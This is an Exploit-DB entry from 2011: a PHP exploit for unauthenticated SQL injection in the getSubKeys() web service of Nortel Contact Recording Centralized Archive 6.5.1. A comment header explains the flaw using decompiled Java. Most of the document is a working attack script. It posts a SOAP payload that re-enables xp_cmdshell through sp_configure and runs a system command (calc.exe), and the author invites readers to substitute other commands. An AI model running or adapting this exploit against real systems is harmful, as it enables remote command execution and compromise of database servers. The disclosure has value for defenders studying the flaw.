Nortel Contact Recording Centralized Archive 6.5.1 – SQL Injection

  • 作者: rgod
    日期: 2011-09-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17846/
  • <?php
    /*
    Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration 
    Web Service getSubKeys() Remote SQL Injection Exploit
    
    tested against:
    Microsoft Windows Server 2003 r2 sp2
    Microsoft SQL Server 2005 Express
    
    download uri:
    ftp://ftp.avaya.com/incoming/Up1cku9/tsoweb/web1/software/c/contactcenter/crqm/6_5_CS1K_2/Nortel-DVD3-Archive-6_5.iso
    
    background:
    
    This software installs a Tomcat http server which listens on
    port 8080 for incoming connections. It exposes the
    following servlet as declared inside
    c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\web.xml :
    
    ...
     <servlet-mapping>
    <servlet-name>EyrAPIConfiguration</servlet-name>
    <url-pattern>/EyrAPIConfiguration/*</url-pattern>
     </servlet-mapping>
    ...
    
    at the following url:
    
    http://[host]:8080/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf
    
    
    Vulnerability:
    
    without prior authentication, you can reach a web service
    with various methods availiable, as described inside
    the associated wsdl, see file:
    
    c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\EyrAPIConfiguration.wsdl 
    
    among them, the getSubKeys() method.
    
    Now look at getSubKeys() inside the decompiled
    c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\com\eyretel\eyrapi\EyrAPIConfigurationImpl.class
    
    :
    ...
     public String getSubKeys(boolean iterateSubKeys, boolean includeValues, String systemId, String componentId, String sysCompId, String userName)
    throws RemoteException
    {
    StringBuffer xml;
    ConfigOwnerId configOwnerId;
    Connection conn;
    PreparedStatement pStmt;
    ResultSet rs;
    PreparedStatement pStmt2;
    ResultSet rs2;
    log.info((new StringBuilder()).append("Request getSubKeys: iterateSubKeys=").append(iterateSubKeys).append(", includeValues=").append(includeValues).append(", SystemId=").append(systemId).append(", componentId=").append(componentId).append(", sysCompId=").append(sysCompId).append(", userName=").append(userName).toString());
    xml = new StringBuffer("<ConfigurationNodeList>");
    configOwnerId = null;
    conn = null;
    pStmt = null;
    rs = null;
    pStmt2 = null;
    rs2 = null;
    try
    {
    conn = SiteDatabase.getInstance().getConnection();
    if(EyrAPIProperties.getInstance().getProperty("database", "MSSQLServer").equalsIgnoreCase("Oracle"))
    {
    if(componentId.compareToIgnoreCase("") == 0)
    componentId = "*";
    if(systemId.compareToIgnoreCase("") == 0)
    systemId = "*";
    if(sysCompId.compareToIgnoreCase("") == 0)
    sysCompId = "*";
    if(userName.compareToIgnoreCase("") == 0)
    userName = "*";
    pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE nvl(ComponentID, '*') = '").append(componentId).append("' AND ").append("nvl(SystemID, '*') = '").append(systemId).append("' AND ").append("nvl(SysCompID, '*') = '").append(sysCompId).append("' AND ").append("nvl(UserName, '*') = '").append(userName).append("'").toString());
    rs = pStmt.executeQuery();
    } else
    {
    pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE ISNULL(CONVERT(varchar(36), ComponentID), '') = '").append(unpunctuate(componentId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SystemID), '') = '").append(unpunctuate(systemId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SysCompID), '') = '").append(unpunctuate(sysCompId)).append("' AND ").append("ISNULL(UserName, '') = '").append(unpunctuate(userName)).append("'").toString());
    rs = pStmt.executeQuery();
    }
    if(rs.next())
    {
    String strConfigOwnerId = rs.getString(1);
    if(!rs.wasNull())
    configOwnerId = new ConfigOwnerId(strConfigOwnerId);
    pStmt2 = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigGroupID, ConfigGroupName FROM ConfigGroupView WHERE ConfigOwnerID = '").append(configOwnerId.toString()).append("'").toString());
    for(rs2 = pStmt2.executeQuery(); rs2.next(); xml.append(getSubKeyValuesInc(new Integer(rs2.getInt(1)), iterateSubKeys, includeValues)));
    }
    }
    catch(SQLException e)
    {
    String msg = "Unable to get subkeys";
    log.error(msg, e);
    throw new RemoteException(msg, e);
    }
    catch(GenericDatabaseException e)
    {
    String msg = "Unable to get subkeys";
    log.error(msg, e);
    throw new RemoteException(msg, e);
    }
    DbHelper.closeStatement(log, pStmt);
    DbHelper.closeResultSet(log, rs);
    DbHelper.closeStatement(log, pStmt2);
    DbHelper.closeResultSet(log, rs2);
    DbHelper.closeConnection(log, conn);
    break MISSING_BLOCK_LABEL_646;
    Exception exception;
    exception;
    DbHelper.closeStatement(log, pStmt);
    DbHelper.closeResultSet(log, rs);
    DbHelper.closeStatement(log, pStmt2);
    DbHelper.closeResultSet(log, rs2);
    DbHelper.closeConnection(log, conn);
    throw exception;
    xml.append("\n</ConfigurationNodeList>");
    log.info((new StringBuilder()).append("Response createKey= ").append(xml).toString());
    return xml.toString();
    }
    ...
    
    This function uses unproperly the prepareStatement() function, a SELECT query is concatenated
    inside of it and using user supplied values.
    
    Note also that the unpunctuate() function is unuseful to clean the passed values:
    
    ...
    protected String unpunctuate(String id)
    {
    StringBuffer sb = new StringBuffer(id);
    try
    {
    if(sb.charAt(0) == '{')
    sb.deleteCharAt(0);
    }
    catch(StringIndexOutOfBoundsException e) { }
    try
    {
    if(sb.charAt(36) == '}')
    sb.deleteCharAt(36);
    }
    catch(StringIndexOutOfBoundsException e) { }
    return sb.toString();
    }
    ...
    
    As result, a remote attacker can send a SOAP message against port 8080 containing the 
    getSubKeys string to execute arbitrary sql commands against the 
    underlying database.
    
    The following code tries to execute calc.exe (if the xp_cmdshell stored procedure
    is not enabled, it will try to reenable it via 'sp_configure', assuming you have
    the privileges of the 'sa' user), otherwise use your imagination.
    
    Note: Reportedly, this product is end of sale ... so it's better you are aware of
    it just in case you have an online installation exposed to user input :)
    
    rgod
    */
    error_reporting(E_ALL ^ E_NOTICE); 
    set_time_limit(0);
    
    	$err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
    
    if (php_sapi_name() <> "cli") {
    die($err[0]);
    }
    
    	function syntax() {
     print("usage: php 9sg_nortel.php [ip_address]\r\n" );
     die();
    }
    
    	$argv[1] ? print("[*] Attacking...\n") :
    syntax();
    
    	if (!extension_loaded('curl')) {
    $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
    false;
    if ($win) {
    !dl("php_curl.dll") ? die($err[1]) :
     print("[*] curl loaded\n");
    } else {
    !dl("php_curl.so") ? die($err[1]) :
     print("[*] curl loaded\n");
    }
    }
    
    function _s($url, $is_post, $ck, $request) {
    global $_use_proxy, $proxy_host, $proxy_port;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    if ($is_post) {
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
    }
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    "Cookie: ".$ck ,
    "Content-Type: text/xml"
    
    
    )); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "");
    curl_setopt($ch, CURLOPT_TIMEOUT, 0);
     
    if ($_use_proxy) {
    curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
    }
    $_d = curl_exec($ch);
    if (curl_errno($ch)) {
    //die("[!] ".curl_error($ch)."\n");
    } else {
    curl_close($ch);
    }
    return $_d;
    }
    $host = $argv[1];
    $port = 8080;
    
    print("[*] Check for spawned calc.exe sub process.\n");
    $sql="'; ".
     "EXEC sp_configure 'show advanced options',1;RECONFIGURE;".
     "EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;".
     "EXEC xp_cmdshell 'calc';--";
    $soap='<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://com.eyretel.eyrapi.org/wsdl">
     <soapenv:Header/>
     <soapenv:Body>
    <wsdl:getSubKeys soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
     <boolean_1 xsi:type="xsd:boolean">true</boolean_1>
     <boolean_2 xsi:type="xsd:boolean">true</boolean_2>
     <String_3 xsi:type="xsd:string">'.$sql.'</String_3>
     <String_4 xsi:type="xsd:string">yyyy</String_4>
     <String_5 xsi:type="xsd:string">zzzz</String_5>
     <String_6 xsi:type="xsd:string">kkkk</String_6>
    </wsdl:getSubKeys>
     </soapenv:Body>
    </soapenv:Envelope>';
    $url = "http://$host:$port/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf";
    $out = _s($url, 1, "", $soap);
    print($out."\n");
    print("[*] Done.");
    ?>